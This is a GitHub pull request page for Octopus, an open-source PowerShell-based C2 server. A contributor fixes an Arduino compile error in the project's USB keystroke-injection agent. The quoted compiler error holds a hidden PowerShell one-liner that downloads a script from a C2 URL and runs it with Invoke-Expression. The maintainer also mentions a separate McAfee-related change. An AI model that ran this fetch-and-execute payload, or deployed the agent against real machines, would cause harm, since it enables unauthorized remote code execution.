mhaskar / Octopus

Open source pre-operation C2 server based on python and powershell
GNU General Public License v3.0
733 stars 155 forks source link

Updated agent.ino to fix Arduino compilation issue #6

Closed J005 closed 4 years ago

J005 commented 4 years ago

I was receiving the following error inthe Arduino IDE prior to the changes:

/home/.../Downloads/digi1/digi1.ino: In function 'void loop()': digi1:13:22: error: 'powershell' was not declared in this scope DigiKeyboard.print(powershell -w hidden "$v = (New-Object Net.WebClient).DownloadString('https://.../login.php');Invoke-Expression $v;"); ^ digi1:13:34: error: 'w' was not declared in this scope DigiKeyboard.print(powershell -w hidden "$v = (New-Object Net.WebClient).DownloadString('https://.../login.php');Invoke-Expression $v;"); ^ exit status 1 'powershell' was not declared in this scope

mhaskar commented 4 years ago

Thanks for the pull request, I verified the ino issue and will merge it now.

Regarding the McAfee, I will merge it too but please next time issue a separate PR for it.

Thank you for your continuous support ;)